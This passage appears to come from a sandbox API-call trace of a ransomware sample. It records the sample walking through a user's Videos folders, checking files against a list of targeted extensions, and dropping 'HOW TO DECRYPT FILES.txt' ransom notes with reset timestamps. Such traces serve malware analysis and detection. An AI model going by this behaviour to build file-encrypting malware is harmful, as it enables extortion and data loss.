HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.ppt") returned 0 [0091.358] lstrlenA (lpString="*.ppt") returned 5 [0091.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.pptx") returned 0 [0091.358] lstrlenA (lpString="*.pptx") returned 6 [0091.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.doc") returned 0 [0091.358] lstrlenA (lpString="*.doc") returned 5 [0091.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.dot") returned 0 [0091.358] lstrlenA (lpString="*.dot") returned 5 [0091.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.docx") returned 0 [0091.358] lstrlenA (lpString="*.docx") returned 6 [0091.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.7z") returned 0 [0091.358] lstrlenA (lpString="*.7z") returned 4 [0091.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.tar") returned 0 [0091.358] lstrlenA (lpString="*.tar") returned 5 [0091.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.bz2") returned 0 [0091.358] lstrlenA (lpString="*.bz2") returned 5 [0091.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.gz") returned 0 [0091.359] lstrlenA (lpString="*.gz") returned 4 [0091.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.mkv") returned 0 [0091.359] lstrlenA (lpString="*.mkv") returned 5 [0091.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.eml") returned 0 [0091.359] lstrlenA (lpString="*.eml") returned 5 [0091.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.msg") returned 0 [0091.359] lstrlenA (lpString="*.msg") returned 5 [0091.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.edb") returned 0 [0091.359] lstrlenA (lpString="*.edb") returned 5 [0091.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.accdb") returned 0 [0091.359] lstrlenA (lpString="*.accdb") returned 7 [0091.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.odb") returned 0 [0091.359] lstrlenA (lpString="*.odb") returned 5 [0091.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.java") returned 0 [0091.359] lstrlenA (lpString="*.java") returned 6 [0091.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.asm") returned 0 [0091.359] lstrlenA (lpString="*.asm") returned 5 [0091.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.pfx") returned 0 [0091.359] lstrlenA (lpString="*.pfx") returned 5 [0091.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.pem") returned 0 [0091.359] lstrlenA (lpString="*.pem") returned 5 [0091.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.p12") returned 0 [0091.359] lstrlenA (lpString="*.p12") returned 5 [0091.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.gpg") returned 0 [0091.359] lstrlenA (lpString="*.gpg") returned 5 [0091.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.vsd") returned 0 [0091.359] lstrlenA (lpString="*.vsd") returned 5 [0091.360] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbed05040, ftCreationTime.dwHighDateTime=0x1d5dab0, ftLastAccessTime.dwLowDateTime=0x67754bd0, ftLastAccessTime.dwHighDateTime=0x1d5df91, ftLastWriteTime.dwLowDateTime=0x67754bd0, ftLastWriteTime.dwHighDateTime=0x1d5df91, nFileSizeHigh=0x0, nFileSizeLow=0xae01, dwReserved0=0x0, dwReserved1=0x0, cFileName="MnA12.swf", cAlternateFileName="")) returned 1 [0091.360] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0091.360] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MnA12.swf") returned -1 [0091.360] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MnA12.swf") returned -1 [0091.360] lstrcmpiA (lpString1="", lpString2="MnA12.swf") returned -1 [0091.360] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv") returned="mhA5fiA.flv" [0091.360] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0091.360] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="" [0091.360] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HOW TO DECRYPT FILES.txt" [0091.360] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\how to decrypt files.txt")) returned 0x20 [0091.360] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\", lpString2="MnA12.swf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\MnA12.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\MnA12.swf" [0091.360] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c36c0, ftCreationTime.dwHighDateTime=0x1d5e676, ftLastAccessTime.dwLowDateTime=0x1f0d120, ftLastAccessTime.dwHighDateTime=0x1d5e4c4, ftLastWriteTime.dwLowDateTime=0x1f0d120, ftLastWriteTime.dwHighDateTime=0x1d5e4c4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rXdfbudZTRGnJQiHbS", cAlternateFileName="RXDFBU~1")) returned 1 [0091.360] lstrcmpA (lpString1=".", lpString2="rXdfbudZTRGnJQiHbS") returned -1 [0091.361] lstrcmpA (lpString1="..", lpString2="rXdfbudZTRGnJQiHbS") returned -1 [0091.361] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\MnA12.swf") returned="MnA12.swf" [0091.361] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\", lpString2="rXdfbudZTRGnJQiHbS" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS" [0091.361] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c36c0, ftCreationTime.dwHighDateTime=0x1d5e676, ftLastAccessTime.dwLowDateTime=0x1f0d120, ftLastAccessTime.dwHighDateTime=0x1d5e4c4, ftLastWriteTime.dwLowDateTime=0x1f0d120, ftLastWriteTime.dwHighDateTime=0x1d5e4c4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x52d5ba, cFileName=".", cAlternateFileName="")) returned 0x502518 [0091.361] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0091.361] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c36c0, ftCreationTime.dwHighDateTime=0x1d5e676, ftLastAccessTime.dwLowDateTime=0x1f0d120, ftLastAccessTime.dwHighDateTime=0x1d5e4c4, ftLastWriteTime.dwLowDateTime=0x1f0d120, ftLastWriteTime.dwHighDateTime=0x1d5e4c4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x520000, cFileName="..", cAlternateFileName="")) returned 1 [0091.361] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0091.361] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0091.361] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0f538f0, ftCreationTime.dwHighDateTime=0x1d5e0d9, ftLastAccessTime.dwLowDateTime=0x1fd00490, ftLastAccessTime.dwHighDateTime=0x1d5e3c0, ftLastWriteTime.dwLowDateTime=0x1fd00490, ftLastWriteTime.dwHighDateTime=0x1d5e3c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9XaLyjEQ2q4x vzuLh", cAlternateFileName="9XALYJ~1")) returned 1 [0091.361] lstrcmpA (lpString1=".", lpString2="9XaLyjEQ2q4x vzuLh") returned -1 [0091.361] lstrcmpA (lpString1="..", lpString2="9XaLyjEQ2q4x vzuLh") returned -1 [0091.362] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\*.*") returned="*.*" [0091.362] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\", lpString2="9XaLyjEQ2q4x vzuLh" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh" [0091.362] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0f538f0, ftCreationTime.dwHighDateTime=0x1d5e0d9, ftLastAccessTime.dwLowDateTime=0x1fd00490, ftLastAccessTime.dwHighDateTime=0x1d5e3c0, ftLastWriteTime.dwLowDateTime=0x1fd00490, ftLastWriteTime.dwHighDateTime=0x1d5e3c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8c001b, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0091.362] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0091.362] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0f538f0, ftCreationTime.dwHighDateTime=0x1d5e0d9, ftLastAccessTime.dwLowDateTime=0x1fd00490, ftLastAccessTime.dwHighDateTime=0x1d5e3c0, ftLastWriteTime.dwLowDateTime=0x1fd00490, ftLastWriteTime.dwHighDateTime=0x1d5e3c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.362] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0091.362] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0091.362] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd232fcd0, ftCreationTime.dwHighDateTime=0x1d5e557, ftLastAccessTime.dwLowDateTime=0xcf4d7d40, ftLastAccessTime.dwHighDateTime=0x1d5dd4d, ftLastWriteTime.dwLowDateTime=0xcf4d7d40, ftLastWriteTime.dwHighDateTime=0x1d5dd4d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="02fobcLdPapu6-VARZEZ", cAlternateFileName="02FOBC~1")) returned 1 [0091.362] lstrcmpA (lpString1=".", lpString2="02fobcLdPapu6-VARZEZ") returned -1 [0091.362] lstrcmpA (lpString1="..", lpString2="02fobcLdPapu6-VARZEZ") returned -1 [0091.363] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\*.*") returned="*.*" [0091.363] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\", lpString2="02fobcLdPapu6-VARZEZ" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ" [0091.363] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd232fcd0, ftCreationTime.dwHighDateTime=0x1d5e557, ftLastAccessTime.dwLowDateTime=0xcf4d7d40, ftLastAccessTime.dwHighDateTime=0x1d5dd4d, ftLastWriteTime.dwLowDateTime=0xcf4d7d40, ftLastWriteTime.dwHighDateTime=0x1d5dd4d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0091.363] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0091.363] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd232fcd0, ftCreationTime.dwHighDateTime=0x1d5e557, ftLastAccessTime.dwLowDateTime=0xcf4d7d40, ftLastAccessTime.dwHighDateTime=0x1d5dd4d, ftLastWriteTime.dwLowDateTime=0xcf4d7d40, ftLastWriteTime.dwHighDateTime=0x1d5dd4d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.363] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0091.363] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0091.363] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x644e7a10, ftCreationTime.dwHighDateTime=0x1d5e457, ftLastAccessTime.dwLowDateTime=0xf1596a0, ftLastAccessTime.dwHighDateTime=0x1d5d903, ftLastWriteTime.dwLowDateTime=0xf1596a0, ftLastWriteTime.dwHighDateTime=0x1d5d903, nFileSizeHigh=0x0, nFileSizeLow=0x137b, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1iDR5x.avi", cAlternateFileName="")) returned 1 [0091.363] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0091.363] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="1iDR5x.avi") returned 1 [0091.363] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="1iDR5x.avi") returned 1 [0091.363] lstrcmpiA (lpString1="", lpString2="1iDR5x.avi") returned -1 [0091.364] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\*.*") returned="*.*" [0091.364] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\" [0091.364] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\") returned="" [0091.364] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\HOW TO DECRYPT FILES.txt" [0091.364] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\how to decrypt files.txt")) returned 0xffffffff [0091.364] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0091.367] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0091.368] CloseHandle (hObject=0x94) returned 1 [0091.368] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\", lpString2="1iDR5x.avi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\1iDR5x.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\1iDR5x.avi" [0091.368] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb539ace0, ftCreationTime.dwHighDateTime=0x1d5dbe4, ftLastAccessTime.dwLowDateTime=0xdd1ddbc0, ftLastAccessTime.dwHighDateTime=0x1d5dd63, ftLastWriteTime.dwLowDateTime=0xdd1ddbc0, ftLastWriteTime.dwHighDateTime=0x1d5dd63, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CDFQwtzSXD", cAlternateFileName="CDFQWT~1")) returned 1 [0091.368] lstrcmpA (lpString1=".", lpString2="CDFQwtzSXD") returned -1 [0091.368] lstrcmpA (lpString1="..", lpString2="CDFQwtzSXD") returned -1 [0091.368] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\1iDR5x.avi") returned="1iDR5x.avi" [0091.368] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\", lpString2="CDFQwtzSXD" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD" [0091.368] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb539ace0, ftCreationTime.dwHighDateTime=0x1d5dbe4, ftLastAccessTime.dwLowDateTime=0xdd1ddbc0, ftLastAccessTime.dwHighDateTime=0x1d5dd63, ftLastWriteTime.dwLowDateTime=0xdd1ddbc0, ftLastWriteTime.dwHighDateTime=0x1d5dd63, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x52d630, cFileName=".", cAlternateFileName="")) returned 0x502698 [0091.369] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0091.369] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb539ace0, ftCreationTime.dwHighDateTime=0x1d5dbe4, ftLastAccessTime.dwLowDateTime=0xdd1ddbc0, ftLastAccessTime.dwHighDateTime=0x1d5dd63, ftLastWriteTime.dwLowDateTime=0xdd1ddbc0, ftLastWriteTime.dwHighDateTime=0x1d5dd63, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x520000, cFileName="..", cAlternateFileName="")) returned 1 [0091.369] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0091.369] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0091.369] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4107a270, ftCreationTime.dwHighDateTime=0x1d5e0a6, ftLastAccessTime.dwLowDateTime=0x39af2ef0, ftLastAccessTime.dwHighDateTime=0x1d5dbea, ftLastWriteTime.dwLowDateTime=0x39af2ef0, ftLastWriteTime.dwHighDateTime=0x1d5dbea, nFileSizeHigh=0x0, nFileSizeLow=0x1898d, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bBxw7hnbv9GpMjf0lDS.mkv", cAlternateFileName="BBXW7H~1.MKV")) returned 1 [0091.369] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0091.369] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bBxw7hnbv9GpMjf0lDS.mkv") returned 1 [0091.369] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bBxw7hnbv9GpMjf0lDS.mkv") returned 1 [0091.369] lstrcmpiA (lpString1="", lpString2="bBxw7hnbv9GpMjf0lDS.mkv") returned -1 [0091.369] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\*.*") returned="*.*" [0091.369] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\" [0091.369] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\") returned="" [0091.369] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\HOW TO DECRYPT FILES.txt" [0091.369] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\cdfqwtzsxd\\how to decrypt files.txt")) returned 0xffffffff [0091.369] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x 